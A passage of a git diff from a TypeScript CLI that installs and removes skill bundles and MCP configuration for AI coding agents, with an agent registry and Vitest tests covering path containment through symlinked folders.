USER_MCP_GATED_EDITOR_IDS } from '@inkeep/open-knowledge-core';+import { dirname, isAbsolute, join, relative, resolve, sep } from 'node:path';+import {+ AGENT_REGISTRY,+ AGENTS_SKILLS_ROOT,+ HUB_READER_EDITORS,+ parsePathId,+ RESERVED_PROJECT_SKILL_NAME,+ USER_MCP_GATED_EDITOR_IDS,+} from '@inkeep/open-knowledge-core';import { resolveBundledSkillDir } from '@inkeep/open-knowledge-server';import { type ParseError, parse as parseJsonc } from 'jsonc-parser';-import type { EditorId, EditorMcpTarget } from '../commands/editors.ts';+import {+ EDITOR_TARGETS,+ type EditorId,+ type EditorMcpTarget,+ entryCarriesOwnChain,+ isOwnDevEntry,+} from '../commands/editors.ts';export function assertProjectPathSafe(targetPath: string, cwd: string): void {let leafStat: ReturnType<typeof lstatSync> | undefined;@@ -36,6 +49,11 @@ export function assertProjectRemovalSafe(targetPath: string, cwd: string): void}function assertProjectAncestorsContained(targetPath: string, cwd: string): void {+ assertAncestorsContainedIn(targetPath, cwd);+}++export function assertAncestorsContainedIn(targetPath: string, base: string): void {+ const cwd = base;let realCwd: string;try {realCwd = realpathSync(cwd);@@ -65,6 +83,20 @@ function assertProjectAncestorsContained(targetPath: string, cwd: string): void}}+export function replaceBundleDir(sourceDir: string, skillPath: string): 'written' | 'overwritten' {+ const targetDir = dirname(skillPath);+ const action = existsSync(skillPath) ? 'overwritten' : 'written';+ if (action === 'written' && existsSync(targetDir)) {+ throw new Error(+ `Refusing to replace ${targetDir}: it exists but holds no SKILL.md, so it is not a bundle OpenKnowledge wrote. Move it aside and try again.`,+ );+ }+ rmSync(targetDir, { recursive: true, force: true });+ mkdirSync(dirname(targetDir), { recursive: true });+ cpSync(sourceDir, targetDir, { recursive: true });+ return action;+}+export interface ProjectSkillResult {readonly editorId: EditorId;readonly label: string;@@ -117,7 +149,19 @@ function configHasOpenKnowledgeEntry(if (!isRecord(topLevel)) return false;const serverMap = target.serverMapSubKey ? topLevel[target.serverMapSubKey] : topLevel;if (!isRecord(serverMap)) return false;- return isRecord(serverMap[target.serverName(cwd)]);+ const entry = serverMap[target.serverName(cwd)];+ if (isRecord(entry) && entry.enabled === false) return false;+ return entryCarriesOwnChain(entry) || isOwnDevEntry(entry);+}++function sharedProjectMcpOwner(editor: EditorId): EditorMcpTarget | null {+ const projectMcp = AGENT_REGISTRY[editor]?.satisfiers.find(+ (satisfier) => satisfier.piece === 'mcp' && satisfier.scope === 'project',+ );+ const location = projectMcp?.pathId === undefined ? null : parsePathId(projectMcp.pathId);+ if (location === null || location.kind !== 'editor-project-config') return null;+ if (location.editor === editor) return null;+ return EDITOR_TARGETS[location.editor] ?? null;}function isProjectSkillPrerequisiteMet(@@ -127,6 +171,16 @@ function isProjectSkillPrerequisiteMet(): boolean {if (!USER_MCP_GATED_EDITOR_IDS.includes(target.id)) return true;+ const owner = sharedProjectMcpOwner(target.id);+ const sharedProjectConfig = owner?.projectConfigPath?.(cwd);+ if (+ owner !== null &&+ sharedProjectConfig !== undefined &&+ configHasOpenKnowledgeEntry(owner, cwd, sharedProjectConfig)+ ) {+ return true;+ }+try {return configHasOpenKnowledgeEntry(target, cwd, target.configPath(cwd, options.home));} catch {@@ -134,6 +188,40 @@ function isProjectSkillPrerequisiteMet(}}+export function hubReadersAmong(editorIds: readonly EditorId[]): EditorId[] {+ const readers = new Set<string>(+ HUB_READER_EDITORS.filter((r) => r.scope === 'project').map((r) => r.editorId),+ );+ return editorIds.filter((id) => readers.has(id));+}++export function writeProjectSkillToHub(+ cwd: string,+ editorIds: readonly EditorId[],+): ProjectSkillResult | null {+ if (hubReadersAmong(editorIds).length === 0) return null;+ const skillPath = join(cwd, AGENTS_SKILLS_ROOT, RESERVED_PROJECT_SKILL_NAME, 'SKILL.md');+ try {+ const sourceDir = resolveBundledSkillDir('project', { checkDesktop: true });+ const targetDir = dirname(skillPath);+ assertProjectPathSafe(targetDir, cwd);+ return {+ editorId: 'agents' as EditorId,+ label: '.agents hub',+ action: replaceBundleDir(sourceDir, skillPath),+ path: skillPath,+ };+ } catch (err) {+ return {+ editorId: 'agents' as EditorId,+ label: '.agents hub',+ action: 'failed',+ path: skillPath,+ error: err instanceof Error ? err.message : String(err),+ };+ }+}+export function writeProjectSkill(target: EditorMcpTarget,cwd: string,@@ -161,10 +249,7 @@ export function writeProjectSkill(const sourceDir = resolveBundledSkillDir('project', { checkDesktop: true });const targetDir = dirname(skillPath);assertProjectPathSafe(targetDir, cwd);- const action = existsSync(skillPath) ? 'overwritten' : 'written';- rmSync(targetDir, { recursive: true, force: true });- mkdirSync(dirname(targetDir), { recursive: true });- cpSync(sourceDir, targetDir, { recursive: true });+ const action = replaceBundleDir(sourceDir, skillPath);return {editorId: target.id,label: target.label,diff --git a/packages/cli/src/integrations/write-user-skill.test.ts b/packages/cli/src/integrations/write-user-skill.test.tsnew file mode 100644index 000000000..463c4086e--- /dev/null+++ b/packages/cli/src/integrations/write-user-skill.test.ts@@ -0,0 +1,169 @@+import {+ existsSync,+ mkdirSync,+ mkdtempSync,+ readFileSync,+ rmSync,+ symlinkSync,+ writeFileSync,+} from 'node:fs';+import { tmpdir } from 'node:os';+import { join } from 'node:path';+import { afterEach, beforeEach, describe, expect, test } from 'vitest';+import { removeUserSkill, userSkillPresentAnywhere, writeUserSkill } from './write-user-skill.ts';++const DISCOVERY_DIR = 'open-knowledge-discovery';++describe('writeUserSkill', () => {+ let home: string;++ beforeEach(() => {+ home = mkdtempSync(join(tmpdir(), 'ok-write-user-skill-'));+ });+ afterEach(() => {+ rmSync(home, { recursive: true, force: true });+ });++ test('installs the discovery bundle into the agent own skills root', () => {+ mkdirSync(join(home, '.claude', 'skills'), { recursive: true });++ const result = writeUserSkill('claude', home);++ expect(result.action).toBe('written');+ expect(existsSync(join(home, '.claude', 'skills', DISCOVERY_DIR, 'SKILL.md'))).toBe(true);+ });++ test('reports skipped-unsupported for an agent with no user skills root', () => {+ const result = writeUserSkill('claude-desktop', home);+ expect(result.action).toBe('skipped-unsupported');+ expect(result.path).toBe('');+ });++ describe('a skills root shared with another agent', () => {+ function seedSharedRoot(): void {+ mkdirSync(join(home, '.claude', 'skills'), { recursive: true });+ mkdirSync(join(home, '.codex'), { recursive: true });+ symlinkSync(join(home, '.claude', 'skills'), join(home, '.codex', 'skills'), 'dir');+ }++ test('writes through the link, which is what a shared folder means', () => {+ seedSharedRoot();++ const result = writeUserSkill('codex', home);++ expect(result.action).toBe('written');+ expect(existsSync(join(home, '.claude', 'skills', DISCOVERY_DIR))).toBe(true);+ });++ test('writes from either side — sharing is not directional', () => {+ seedSharedRoot();++ const result = writeUserSkill('claude', home);++ expect(result.action).toBe('written');+ expect(existsSync(join(home, '.codex', 'skills', DISCOVERY_DIR))).toBe(true);+ });++ test('still installs through an alias no other agent reads', () => {+ mkdirSync(join(home, '.vendor', 'skills'), { recursive: true });+ mkdirSync(join(home, '.codex'), { recursive: true });+ symlinkSync(join(home, '.vendor', 'skills'), join(home, '.codex', 'skills'), 'dir');++ const result = writeUserSkill('codex', home);++ expect(result.action).toBe('written');+ expect(existsSync(join(home, '.vendor', 'skills', DISCOVERY_DIR, 'SKILL.md'))).toBe(true);+ });+ });++ test('a blocked destination reports failed with a non-empty message', () => {+ mkdirSync(join(home, '.claude'), { recursive: true });+ writeFileSync(join(home, '.claude', 'skills'), 'not a directory');++ const result = writeUserSkill('claude', home);++ expect(result.action).toBe('failed');+ expect(result.error).toBeTruthy();+ });+});++describe('userSkillPresentAnywhere', () => {+ let home: string;++ beforeEach(() => {+ home = mkdtempSync(join(tmpdir(), 'ok-present-anywhere-'));+ });+ afterEach(() => {+ rmSync(home, { recursive: true, force: true });+ });++ test('false on an empty home', () => {+ expect(userSkillPresentAnywhere(home)).toBe(false);+ });++ test('true when the vendor-neutral hub holds it', () => {+ mkdirSync(join(home, '.agents', 'skills', DISCOVERY_DIR), { recursive: true });++ expect(userSkillPresentAnywhere(home)).toBe(true);+ });++ test('true when a single editor root holds it', () => {+ mkdirSync(join(home, '.cursor', 'skills', DISCOVERY_DIR), { recursive: true });++ expect(userSkillPresentAnywhere(home)).toBe(true);+ });++ test('false when a host dir exists but carries no bundle', () => {+ mkdirSync(join(home, '.claude', 'skills'), { recursive: true });++ expect(userSkillPresentAnywhere(home)).toBe(false);+ });++ test('the last removal empties it', () => {+ mkdirSync(join(home, '.claude', 'skills'), { recursive: true });+ writeUserSkill('claude', home);+ expect(userSkillPresentAnywhere(home)).toBe(true);++ rmSync(join(home, '.claude', 'skills', DISCOVERY_DIR), { recursive: true, force: true });++ expect(userSkillPresentAnywhere(home)).toBe(false);+ });+});++describe('a user skills folder aliased outside the home directory', () => {+ let root: string;+ let home: string;+ let outside: string;++ beforeEach(() => {+ root = mkdtempSync(join(tmpdir(), 'ok-user-skill-escape-'));+ home = join(root, 'home');+ outside = join(root, 'elsewhere', 'skills');+ mkdirSync(join(home, '.codex'), { recursive: true });+ mkdirSync(join(outside, DISCOVERY_DIR), { recursive: true });+ writeFileSync(join(outside, DISCOVERY_DIR, 'SKILL.md'), '# not ours to delete\n');+ symlinkSync(outside, join(home, '.codex', 'skills'), 'dir');+ });++ afterEach(() => {+ rmSync(root, { recursive: true, force: true });+ });++ test('is not removed through the alias', () => {+ const result = removeUserSkill('codex', home);++ expect(result.action).toBe('failed');+ expect(result.error).toContain('outside');+ expect(existsSync(join(outside, DISCOVERY_DIR, 'SKILL.md'))).toBe(true);+ });++ test('is not written through the alias either', () => {+ const result = writeUserSkill('codex', home);++ expect(result.action).toBe('failed');+ expect(result.error).toContain('outside');+ expect(readFileSync(join(outside, DISCOVERY_DIR, 'SKILL.md'), 'utf8')).toBe(+ '# not ours to delete\n',+ );+ });+});diff --git a/packages/cli/src/integrations/write-user-skill.ts b/packages/cli/src/integrations/write-user-skill.tsnew file mode 100644index 000000000..a082303bf--- /dev/null+++ b/packages/cli/src/integrations/write-user-skill.ts@@ -0,0 +1,88 @@+import { existsSync, rmSync } from 'node:fs';+import { dirname, join } from 'node:path';+import {+ AGENTS_SKILLS_ROOT,+ ALL_EDITOR_IDS,+ EDITOR_USER_SKILL_ROOT,+} from '@inkeep/open-knowledge-core';+import {+ BUNDLE_SKILL_NAME,+ detectUserSkillHosts,+ resolveBundledSkillDir,+} from '@inkeep/open-knowledge-server';+import type { EditorId } from '../commands/editors.ts';+import {+ assertAncestorsContainedIn,+ type ProjectSkillRemoveResult,+ type ProjectSkillResult,+ replaceBundleDir,+} from './write-project-skill.ts';++function userSkillPath(editor: EditorId, home: string): string | null {+ const root = EDITOR_USER_SKILL_ROOT[editor];+ return root === null+ ? null+ : join(home, ...root.split('/'), BUNDLE_SKILL_NAME.discovery, 'SKILL.md');+}++export type UserSkillWriteResult = Omit<ProjectSkillResult, 'action'> & {+ readonly action: Exclude<ProjectSkillResult['action'], 'skipped-prerequisite'>;+};++export function writeUserSkill(editor: EditorId, home: string): UserSkillWriteResult {+ const skillPath = userSkillPath(editor, home);+ if (skillPath === null) {+ return { editorId: editor, label: editor, action: 'skipped-unsupported', path: '' };+ }+ if (!detectUserSkillHosts(home).some((host) => host.editorId === editor)) {+ return { editorId: editor, label: editor, action: 'skipped-unsupported', path: skillPath };+ }+ try {+ const sourceDir = resolveBundledSkillDir('discovery', { checkDesktop: true });+ assertAncestorsContainedIn(dirname(skillPath), home);+ const action = replaceBundleDir(sourceDir, skillPath);+ return { editorId: editor, label: editor, action, path: skillPath };+ } catch (err) {+ return {+ editorId: editor,+ label: editor,+ action: 'failed',+ path: skillPath,+ error: err instanceof Error ? err.message : String(err),+ };+ }+}++export function userSkillPresentAnywhere(home: string): boolean {+ if (existsSync(join(home, ...AGENTS_SKILLS_ROOT.split('/'), BUNDLE_SKILL_NAME.discovery))) {+ return true;+ }+ return ALL_EDITOR_IDS.some((editor) => {+ const path = userSkillPath(editor, home);+ return path !== null && existsSync(dirname(path));+ });+}++export function removeUserSkill(editor: EditorId, home: string): ProjectSkillRemoveResult {+ const skillPath = userSkillPath(editor, home);+ if (skillPath === null) {+ return { editorId: editor, label: editor, action: 'skipped-unsupported', path: '' };+ }+ const targetDir = dirname(skillPath);+ try {+ if (!existsSync(skillPath)) {+ return { editorId: editor, label: editor, action: 'not-present', path: skillPath };+ }+ assertAncestorsContainedIn(targetDir, home);+ rmSync(targetDir, { recursive: true, force: true });+ return { editorId: editor, label: editor, action: 'removed', path: skillPath };+ } catch (err) {+ return {+ editorId: editor,+ label: editor,+ action: 'failed',+ path: skillPath,+ error: err instanceof Error ? err.message : String(err),+ };+ }+}diff --git a/packages/cli/src/native/toml-config-engine.ts b/packages/cli/src/native/toml-config-engine.tsindex b4d14a75a..f0fa496d9 100644--- a/packages/cli/src/native/toml-config-engine.ts+++ b/packages/cli/src/native/toml-config-engine.ts@@ -12,6 +12,7 @@ export interface NativeTomlBinding {parseTomlToJson(tomlText: string): string;upsertMcpServer(tomlText: string, serverName: string, entryJson: string): NativeMcpEditResult;removeMcpServer(tomlText: string, serverName: string): NativeMcpEditResult;+ removeMcpServerKey(tomlText: string, serverName: string, key: string): NativeMcpEditResult;}export interface TomlUpsertResult {@@ -27,6 +28,7 @@ interface NativeTomlConfigEngine extends TomlConfigEngineBase {readonly backend: 'native';upsertEntry(raw: string, serverName: string, entry: Record<string, unknown>): TomlUpsertResult;removeEntry(raw: string, serverName: string): TomlUpsertResult;+ removeEntryKey(raw: string, serverName: string, key: string): TomlUpsertResult;}interface FallbackTomlConfigEngine extends TomlConfigEngineBase {@@ -71,6 +73,10 @@ function makeNativeEngine(binding: NativeTomlBinding): NativeTomlConfigEngine {const result = binding.removeMcpServer(raw, serverName);return { text: result.text, existed: result.existed };},+ removeEntryKey(raw, serverName, key) {+ const result = binding.removeMcpServerKey(raw, serverName, key);+ return { text: result.text, existed: result.existed };+ },};}diff --git a/packages/core/package.json b/packages/core/package.jsonindex 7f6bc68f6..e7eda6d01 100644--- a/packages/core/package.json+++ b/packages/core/package.json@@ -17,6 +17,12 @@"types": "./dist/shadow-repo-layout.d.mts","default": "./dist/shadow-repo-layout.mjs"},+ "./skill-folder-state": {+ "@inkeep/source": "./src/skill-folder-state.ts",+ "development": "./src/skill-folder-state.ts",+ "types": "./dist/skill-folder-state.d.mts",+ "default": "./dist/skill-folder-state.mjs"+ },"./git-repository": {"@inkeep/source": "./src/git-repository.ts","development": "./src/git-repository.ts",diff --git a/packages/core/src/acp/agent-posture.ts b/packages/core/src/acp/agent-posture.tsindex 270a6b361..9fc1a9d88 100644--- a/packages/core/src/acp/agent-posture.ts+++ b/packages/core/src/acp/agent-posture.ts@@ -1,16 +1,12 @@import type { SessionModeState } from '@agentclientprotocol/sdk';+import { ACP_VERIFIED_POSTURE_MAP } from '../agent-registry/derived-tables.ts';import { isPermissiveMode } from './permissive-mode.ts';export type AgentPermissionPosture = 'asks' | 'self-managed' | 'autonomous' | 'unknown';export const VERIFIED_AGENT_POSTURES: {readonly [agentId: string]: AgentPermissionPosture | undefined;-} = {- 'claude-acp': 'asks',- 'codex-acp': 'self-managed',- cursor: 'self-managed',- 'pi-acp': 'autonomous',-};+} = ACP_VERIFIED_POSTURE_MAP;export function deriveAgentPosture(agentId: string,diff --git a/packages/core/src/agent-registry/agents.test.ts b/packages/core/src/agent-registry/agents.test.tsnew file mode 100644index 000000000..e773022e1--- /dev/null+++ b/packages/core/src/agent-registry/agents.test.ts@@ -0,0 +1,356 @@+import { describe, expect, it } from 'vitest';+import { ALL_EDITOR_IDS } from '../constants/editors.ts';+import { AGENT_REGISTRY, ALL_SATISFIERS, getAgentRecord, getSatisfierRecord } from './agents.ts';+import { type AgentId, type AgentMode, ALL_AGENT_IDS, parseSatisfierId } from './ids.ts';+import { parsePathId } from './paths.ts';+import { AgentRecordSchema, type SatisfierRecord } from './schema.ts';++const agents = () => Object.values(AGENT_REGISTRY);++const EXPECTED_MODES: Record<AgentId, AgentMode[]> = {+ claude: ['external', 'terminal', 'acp'],+ 'claude-desktop': ['external'],+ cursor: ['external', 'terminal', 'acp'],+ codex: ['external', 'terminal', 'acp'],+ copilot: ['external', 'terminal', 'acp'],+ opencode: ['external', 'terminal', 'acp'],+ openclaw: ['external', 'terminal'],+ pi: ['external', 'terminal', 'acp'],+ antigravity: ['external', 'terminal'],+ 'lm-studio': ['external'],+ hermes: ['external', 'terminal'],+ gemini: ['acp'],+};++const EXPECTED_SURFACES: Record<AgentId, string[]> = {+ claude: ['mcp/user', 'mcp/project', 'skill/project', 'skill/user', 'mcp/session'],+ 'claude-desktop': ['mcp/user'],+ cursor: ['mcp/user', 'mcp/project', 'skill/project', 'skill/user', 'mcp/session'],+ codex: ['mcp/user', 'mcp/project', 'skill/project', 'skill/user', 'mcp/session'],+ copilot: ['mcp/user', 'mcp/project', 'skill/project', 'skill/user', 'mcp/session'],+ opencode: ['mcp/user', 'mcp/project', 'skill/project', 'skill/user', 'mcp/session'],+ openclaw: ['mcp/user', 'skill/user'],+ pi: ['mcp/project', 'skill/project', 'skill/user'],+ antigravity: ['mcp/user', 'skill/user'],+ 'lm-studio': ['mcp/user'],+ hermes: ['mcp/user'],+ gemini: ['mcp/session'],+};++const surfaceKey = (satisfier: SatisfierRecord) => `${satisfier.piece}/${satisfier.scope}`;++describe('curated agent set', () => {+ it('covers the eleven editors plus gemini and nothing else', () => {+ expect(+ agents()+ .map((agent) => agent.id)+ .sort(),+ ).toEqual([...ALL_AGENT_IDS].sort());+ expect(ALL_AGENT_IDS).toEqual([...ALL_EDITOR_IDS, 'gemini']);+ expect(agents()).toHaveLength(12);+ });++ it('gives every agent a unique id that matches its key', () => {+ for (const [key, agent] of Object.entries(AGENT_REGISTRY)) {+ expect(agent.id).toBe(key);+ }+ expect(new Set(agents().map((agent) => agent.id)).size).toBe(12);+ });++ it('gives every satisfier a unique id owned by the agent it sits under', () => {+ const ids = ALL_SATISFIERS.map((satisfier) => satisfier.id);+ expect(new Set(ids).size).toBe(ids.length);+ for (const agent of agents()) {+ for (const satisfier of agent.satisfiers) {+ expect(satisfier.agent).toBe(agent.id);+ }+ }+ });++ it('parses every record against the schema', () => {+ for (const agent of agents()) {+ expect(() => AgentRecordSchema.parse(agent)).not.toThrow();+ }+ });++ it('looks agents and satisfiers up by id, and returns undefined for anything else', () => {+ expect(getAgentRecord('claude')?.id).toBe('claude');+ expect(getAgentRecord('some-long-tail-agent')).toBeUndefined();+ expect(getSatisfierRecord('claude/mcp/user/config-entry')?.agent).toBe('claude');+ expect(getSatisfierRecord('claude/mcp/nowhere/config-entry')).toBeUndefined();+ });+});++describe('modes', () => {+ it('declares exactly the modes each agent has', () => {+ for (const agent of agents()) {+ expect(Object.keys(agent.modes).sort()).toEqual([...EXPECTED_MODES[agent.id]].sort());+ }+ });++ it('treats Claude Code and Cowork as modes of two agents, not agents of their own', () => {+ const ids: string[] = agents().map((agent) => agent.id);+ expect(ids).not.toContain('claude-code');+ expect(ids).not.toContain('claude-cowork');+ expect(AGENT_REGISTRY.claude.modes.external).toBeDefined();+ expect(AGENT_REGISTRY['claude-desktop'].modes.external).toBeDefined();+ expect(AGENT_REGISTRY['claude-desktop'].modes.terminal).toBeUndefined();+ expect(AGENT_REGISTRY['claude-desktop'].modes.acp).toBeUndefined();+ });++ it('requires MCP and only recommends the skill, in every mode of every agent', () => {+ for (const agent of agents()) {+ for (const mode of Object.values(agent.modes)) {+ const levels = Object.fromEntries(+ mode.requirements.map((requirement) => [requirement.piece, requirement.level]),+ );+ expect(levels).toEqual({ mcp: 'required', skill: 'recommended' });+ }+ }+ });+});++describe('satisfiers', () => {+ it('has exactly the surfaces the mode-applicability rollup records', () => {+ for (const agent of agents()) {+ expect(agent.satisfiers.map(surfaceKey).sort()).toEqual(+ [...EXPECTED_SURFACES[agent.id]].sort(),+ );+ }+ });++ it('shapes every id as agent/piece/scope/kind', () => {+ for (const satisfier of ALL_SATISFIERS) {+ expect(parseSatisfierId(satisfier.id)).toEqual({+ agent: satisfier.agent,+ piece: satisfier.piece,+ scope: satisfier.scope,+ kind: satisfier.kind,+ });+ }+ });++ it('names locations rather than spelling them', () => {+ for (const satisfier of ALL_SATISFIERS) {+ if (satisfier.pathId === undefined) {+ expect(satisfier.kind).toBe('session-injection');+ continue;+ }+ expect(parsePathId(satisfier.pathId)).not.toBeNull();+ expect(satisfier.pathId).not.toMatch(/^[/~]/);+ }+ });++ it('is either probeable with a named strictness or declared unprobeable with a reason', () => {+ for (const satisfier of ALL_SATISFIERS) {+ if (satisfier.probe.mode === 'probeable') {+ expect(satisfier.probe.strictness.length).toBeGreaterThan(0);+ } else {+ expect(satisfier.probe.reason).toBeTruthy();+ }+ }+ });++ it('gives every contested claim a clock', () => {+ const contested = ALL_SATISFIERS.filter(+ (satisfier) => satisfier.attestation.confidence === 'contested',+ );+ expect(contested.length).toBeGreaterThan(0);+ for (const satisfier of contested) {+ expect(satisfier.attestation.verifiedAgainst?.version).toBeTruthy();+ expect(satisfier.attestation.verifiedAgainst?.observedAt).toBeTruthy();+ }+ });+});++describe('Claude Desktop', () => {+ it('carries its user-global MCP entry and nothing else', () => {+ const record = AGENT_REGISTRY['claude-desktop'];+ expect(record.satisfiers).toHaveLength(1);+ expect(record.satisfiers[0]?.id).toBe('claude-desktop/mcp/user/config-entry');+ });++ it('has no skill satisfier anywhere, so its skill requirement is an empty OR-set', () => {+ const record = AGENT_REGISTRY['claude-desktop'];+ expect(record.satisfiers.filter((satisfier) => satisfier.piece === 'skill')).toHaveLength(0);+ const skill = record.modes.external?.requirements.find(+ (requirement) => requirement.piece === 'skill',+ );+ expect(skill?.satisfiedByAny).toEqual([]);+ });+});++describe('the project skill', () => {+ const withProjectSkill = () =>+ agents().filter((agent) =>+ agent.satisfiers.some(+ (satisfier) => satisfier.piece === 'skill' && satisfier.scope === 'project',+ ),+ );++ it('is referenced identically by every mode the agent has', () => {+ for (const agent of withProjectSkill()) {+ const projectSkill = agent.satisfiers.find(+ (satisfier) => satisfier.piece === 'skill' && satisfier.scope === 'project',+ );+ const orSets = Object.values(agent.modes).map(+ (mode) =>+ mode.requirements.find((requirement) => requirement.piece === 'skill')?.satisfiedByAny,+ );+ for (const orSet of orSets) {+ expect(orSet).toContain(projectSkill?.id);+ }+ expect(new Set(orSets.map((orSet) => JSON.stringify(orSet))).size).toBe(1);+ }+ });++ it('never reads as absent in an ACP thread', () => {+ for (const agent of withProjectSkill()) {+ if (agent.modes.acp === undefined) continue;+ const skill = agent.modes.acp.requirements.find(+ (requirement) => requirement.piece === 'skill',+ );+ expect(skill?.satisfiedByAny.length).toBeGreaterThan(0);+ }+ });++ it('depends on the same agent being wired for MCP in the project', () => {+ for (const agent of withProjectSkill()) {+ const projectSkill = agent.satisfiers.find(+ (satisfier) => satisfier.piece === 'skill' && satisfier.scope === 'project',+ );+ const projectMcp = agent.satisfiers.find(+ (satisfier) => satisfier.piece === 'mcp' && satisfier.scope === 'project',+ );+ expect(projectMcp).toBeDefined();+ expect(projectSkill?.prerequisites).toContain(projectMcp?.id);+ }+ });+});++describe('Copilot', () => {+ const copilot = () => AGENT_REGISTRY.copilot;++ it('takes its project MCP from the workspace file OK writes for Claude', () => {+ const projectMcp = copilot().satisfiers.find(+ (satisfier) => satisfier.piece === 'mcp' && satisfier.scope === 'project',+ );+ const claudeProjectMcp = AGENT_REGISTRY.claude.satisfiers.find(+ (satisfier) => satisfier.piece === 'mcp' && satisfier.scope === 'project',+ );+ expect(projectMcp?.pathId).toBe(claudeProjectMcp?.pathId);+ expect(projectMcp?.sharedWith).toContain('claude');+ expect(claudeProjectMcp?.sharedWith).toContain('copilot');+ });++ it('gates its project skill on its own user-global registration', () => {+ const projectSkill = copilot().satisfiers.find(+ (satisfier) => satisfier.piece === 'skill' && satisfier.scope === 'project',+ );+ expect(projectSkill?.prerequisites).toContain('copilot/mcp/user/config-entry');+ });+});++describe('consent classes', () => {+ it('gives Codex and Copilot the one trust-gated class', () => {+ const projectMcp = (id: AgentId) =>+ AGENT_REGISTRY[id].satisfiers.find(+ (satisfier) => satisfier.piece === 'mcp' && satisfier.scope === 'project',+ );+ expect(projectMcp('codex')?.consentClass).toBe('trust-gated');+ expect(projectMcp('copilot')?.consentClass).toBe('trust-gated');+ });++ it('labels nothing auto-connect', () => {+ for (const satisfier of ALL_SATISFIERS) {+ expect(satisfier.consentClass).not.toBe('auto-connect');+ }+ });++ it('pairs every non-none class with the follow-up it implies', () => {+ for (const satisfier of ALL_SATISFIERS) {+ if (satisfier.consentClass === 'none') continue;+ expect(satisfier.followup?.id).toBe(`followup.${satisfier.consentClass}`);+ }+ });+});++describe('Codex desktop project config', () => {+ it('is contested and leans not-honored until a named build says otherwise', () => {+ const projectMcp = AGENT_REGISTRY.codex.satisfiers.find(+ (satisfier) => satisfier.piece === 'mcp' && satisfier.scope === 'project',+ );+ expect(projectMcp?.attestation.confidence).toBe('contested');+ expect(projectMcp?.troubleshooting?.params?.honoredByDesktop).toBe(false);+ });+});++describe('Gemini', () => {+ it('is satisfied entirely by what the session hands it', () => {+ const record = AGENT_REGISTRY.gemini;+ expect(record.satisfiers).toHaveLength(1);+ expect(record.satisfiers[0]?.kind).toBe('session-injection');+ expect(record.satisfiers[0]?.probe.mode).toBe('unprobeable');+ expect(record.modes.acp?.requirements.find((r) => r.piece === 'skill')?.satisfiedByAny).toEqual(+ [],+ );+ });+});++describe('LM Studio', () => {+ it('reports why OK cannot finish its install', () => {+ const satisfier = AGENT_REGISTRY['lm-studio'].satisfiers[0];+ expect(satisfier?.installability).toBe('not-installable');+ expect(satisfier?.notInstallableReason).toBe('no-non-interactive-verb');+ });++ it('claims no detection signal, because it has none OK can ask about', () => {+ expect(AGENT_REGISTRY['lm-studio'].detectionSources).toEqual([]);+ expect(AGENT_REGISTRY['lm-studio'].offerOnlyWhenDetected).toBe(true);+ });+});++describe('Pi', () => {+ it('is satisfied by its managed bridge file in every mode, injection included', () => {+ const record = AGENT_REGISTRY.pi;+ expect(record.satisfiers.some((satisfier) => satisfier.kind === 'session-injection')).toBe(+ false,+ );+ for (const mode of Object.values(record.modes)) {+ const mcp = mode.requirements.find((requirement) => requirement.piece === 'mcp');+ expect(mcp?.satisfiedByAny).toEqual(['pi/mcp/project/managed-file']);+ }+ });+});++describe('cross-references', () => {+ it('resolves every id an OR-set or a prerequisite names', () => {+ for (const agent of agents()) {+ for (const mode of Object.values(agent.modes)) {+ for (const requirement of mode.requirements) {+ for (const id of requirement.satisfiedByAny) {+ expect(getSatisfierRecord(id), `${agent.id}: ${id}`).toBeDefined();+ }+ }+ }+ for (const satisfier of agent.satisfiers) {+ for (const id of satisfier.prerequisites) {+ expect(getSatisfierRecord(id), `${satisfier.id} needs ${id}`).toBeDefined();+ }+ }+ }+ });++ it('backs every shared-copy claim with a registered agent reading the same file', () => {+ for (const satisfier of ALL_SATISFIERS) {+ for (const peer of satisfier.sharedWith) {+ const record = getAgentRecord(peer);+ expect(record, `${satisfier.id} shares with ${peer}`).toBeDefined();+ expect(+ record?.satisfiers.some((other) => other.pathId === satisfier.pathId),+ `${peer} has no satisfier over ${satisfier.pathId}`,+ ).toBe(true);+ }+ }+ });+});diff --git a/packages/core/src/agent-registry/agents.ts b/packages/core/src/agent-registry/agents.tsnew file mode 100644index 000000000..20578da9a--- /dev/null+++ b/packages/core/src/agent-registry/agents.ts@@ -0,0 +1,1201 @@+import { EDITOR_SETUP_DOC_SLUG, type EditorId } from '../constants/editors.ts';+import type { HandoffTarget } from '../handoff/types.ts';+import type { GuidanceKey } from './guidance.ts';+import {+ type AcpHarnessCliId,+ type AgentId,+ type AgentMode,+ guidanceId,+ type IntegrationPiece,+ type SatisfierId,+ type SatisfierScope,+ satisfierId,+} from './ids.ts';+import { CENTRAL_SKILL_STORE_PATH_ID, editorPathId } from './paths.ts';+import type {+ AcpFacet,+ AgentRecord,+ Attestation,+ EvidenceRef,+ ExternalFacet,+ GuidanceRef,+ Installability,+ ModeRecord,+ NOT_INSTALLABLE_REASONS,+ ProbeDeclaration,+ RequirementRecord,+ SatisfierRecord,+ UNPROBEABLE_REASONS,+ VERIFIED_POSTURES,+ VerifiedAgainst,+} from './schema.ts';+import type { ConsentClass, ProbeStrictness, SatisfierKind } from './vocabulary.ts';++type SatisfierInput = Omit<+ SatisfierRecord,+ 'id' | 'sharedWith' | 'prerequisites' | 'consentClass' | 'installability' | 'preferred'+> & {+ sharedWith?: AgentId[];+ prerequisites?: SatisfierId[];+ consentClass?: ConsentClass;+ installability?: Installability;+ preferred?: boolean;+};++function defineSatisfier(input: SatisfierInput): SatisfierRecord {+ const { sharedWith, prerequisites, consentClass, installability, preferred, ...rest } = input;+ return {+ ...rest,+ id: satisfierId({+ agent: input.agent,+ piece: input.piece,+ scope: input.scope,+ kind: input.kind,+ }),+ sharedWith: sharedWith ?? [],+ prerequisites: prerequisites ?? [],+ consentClass: consentClass ?? 'none',+ installability: installability ?? 'installable',+ preferred: preferred ?? false,+ };+}++type AgentInput = Omit<+ AgentRecord,+ 'offerOnlyWhenDetected' | 'offersConnectionRow' | 'detectionSources' | 'modes'+> & {+ offerOnlyWhenDetected?: boolean;+ offersConnectionRow?: boolean;+ detectionSources?: string[];+ modes: Partial<Record<AgentMode, { requirements: RequirementRecord[]; caveats?: GuidanceRef[] }>>;+};++function defineAgent(input: AgentInput): AgentRecord {+ const {+ offerOnlyWhenDetected,+ offersConnectionRow,+ detectionSources,+ modes: modeInputs,+ ...rest+ } = input;+ const modes: Partial<Record<AgentMode, ModeRecord>> = {};+ for (const [mode, value] of Object.entries(modeInputs) as [+ AgentMode,+ { requirements: RequirementRecord[]; caveats?: GuidanceRef[] },+ ][]) {+ modes[mode] = { requirements: value.requirements, 